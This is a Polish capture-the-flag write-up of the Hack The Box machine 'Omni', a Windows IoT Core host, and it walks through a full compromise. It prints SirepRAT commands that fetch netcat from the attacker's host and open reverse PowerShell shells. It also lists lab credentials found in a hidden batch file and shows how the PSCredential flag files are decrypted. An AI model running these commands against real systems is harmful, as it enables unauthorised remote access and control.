Omni

Nmap

nmap -sC -sV -p- -T4 -Pn 10.10.10.204                          

PORT      STATE SERVICE  REASON          VERSION
135/tcp   open  msrpc    syn-ack ttl 127 Microsoft Windows RPC
5985/tcp  open  upnp     syn-ack ttl 127 Microsoft IIS httpd
8080/tcp  open  upnp     syn-ack ttl 127 Microsoft IIS httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
29817/tcp open  unknown  syn-ack ttl 127
29819/tcp open  arcserve syn-ack ttl 127 ARCserve Discovery
29820/tcp open  unknown  syn-ack ttl 127
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port29820-TCP:V=7.80%I=7%D=8/24%Time=5F438FF0%P=x86_64-pc-linux-gnu%r(N
SF:ULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLines,10,"
SF:\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\xfb`\x0
SF:4G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\x
SF:c9}\xc8O\x12");
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows

User

Po skanowaniu widać, że mamy doczynienia z Windows’em.
Wchodząc na serwer HTTP na porcie 8080 dostajemy prośbę o login i hasło z informacją, że jest to “Windows Device Portal”.
Po odrobinie googlowania możemy się dowiedzieć, że mamy doczynienia z instalacją Windows IoT. Standardowo na tej wersji systemu są otwarte wysokie porty 29817-29820 do komunikacji.

Następnie znajdujemy projekt na GitHub z narzędziem wykorzystującym komunikację z tymi portami

Za pomocą SirepRAT wrzucamy netcat’a na serwer i robimy reverse shell’a

python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-Webrequest -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe -Uri http://10.10.14.66:9090/nc64.exe" --v

<HResultResult | type: 1, payload length: 4, HResult: 0x0>
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe 10.10.14.66 9091 -e powershell.exe" --v

<HResultResult | type: 1, payload length: 4, HResult: 0x0>
PS C:\windows\system32> $env:username

omni$

Niestety ten user nie ma za dużo przywilejów więc trzeba enumerować box’a
Jedynym katalogiem w Program Files jest WindowsPowerShell. Po przeszukaniu tego katalogu okazuje się, że znajduje się tam ukryty plik .bat

PS C:\program files\windowspowershell\modules\Packagemanagement> ls -force

    Directory: C:\program files\windowspowershell\modules\Packagemanagement


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-----       10/26/2018  11:37 PM                1.0.0.1                       
-a-h--        8/21/2020  12:56 PM            247 r.bat      
@echo off

:LOOP

for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete

net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz

ping -n 3 127.0.0.1

cls

GOTO :LOOP

:EXIT

W pliku są credentiale pasujące do web serwera.

app : mesh5143

Po zalogowaniu znajdujemy przydatne informacje:
– Windows 10 IoT Core test image, v.10.0.17763.107
– VMware7,1

Po przejrzeniu panelu znajdujemy opcję wykonywania komend.
Processes -> Run Command

Więc ponownie próbujemy zrobić Reverse Shell’a wcześniej uploadowanym netcat’em.

C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.14.66 9092 -e powershell.exe
 C:\windows\system32> $env:username
app

W “C:\Users” nie ma żadnego użytkownika więc sprawdzamy czy są inne dyski

PS C:\> wmic logicaldisk get caption
Caption                       = C:
Caption                       = D:
Caption                       = U:

Do dysku “D” nie możemy się dostać, ale na dysku “U” mamy podmontowany system plików

PS U:\> ls
    Directory: U:\


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-----       10/26/2018  11:37 PM                CrashDump                     
d-----       10/26/2018  11:37 PM                Logfiles                      
d-----       10/26/2018  11:37 PM                Programs                      
d-----         7/3/2020  11:22 PM                SharedData                    
d-----         7/3/2020  11:22 PM                SystemData                    
d-----       10/26/2018  11:38 PM                test                          
d-----         7/4/2020   7:28 PM                Users                         
d-----       10/26/2018  11:38 PM                Windows                       
-a----         7/4/2020  12:22 AM              0 FirstBoot.Complete     

Flaga jest zaszyfrowana.

PS U:\Users\app> type user.txt

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
    </Props>
  </Obj>
</Objs>

Po strukturze pliku widzimy, że jest to XML. Po krótkim szukaniu znajdujemy rozwiązanie.

$flaga = Import-CliXml -Path U:\Users\app\user.txt
$flaga.GetNetworkCredential().Password

7cfd50f6bc3***f1505ad9d70

Administrator

Administrator jest banalny, ponieważ logujemy się do panelu www danymi, które znaleźliśmy w pliku r.bat.

administrator : _1nt3rn37ofTh1nGz

I ponownie robimy Reverse Shell’a w ten sam sposób.

PS U:\users\administrator> type root.txt

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb0100000011d9a9af9398c648be30a7dd764d1f3a000000000200000000001066000000010000200000004f4016524600b3914d83c0f88322cbed77ed3e3477dfdc9df1a2a5822021439b000000000e8000000002000020000000dd198d09b343e3b6fcb9900b77eb64372126aea207594bbe5bb76bf6ac5b57f4500000002e94c4a2d8f0079b37b33a75c6ca83efadabe077816aa2221ff887feb2aa08500f3cf8d8c5b445ba2815c5e9424926fca73fb4462a6a706406e3fc0d148b798c71052fc82db4c4be29ca8f78f0233464400000008537cfaacb6f689ea353aa5b44592cd4963acbf5c2418c31a49bb5c0e76fcc3692adc330a85e8d8d856b62f35d8692437c2f1b40ebbf5971cd260f738dada1a7</SS>
    </Props>
  </Obj>
</Objs>
$flaga = Import-CliXml -Path U:\Users\administrator\root.txt
$flaga.GetNetworkCredential().Password

5dbdce5569****17c0ce6e9bf11d

Leave a Comment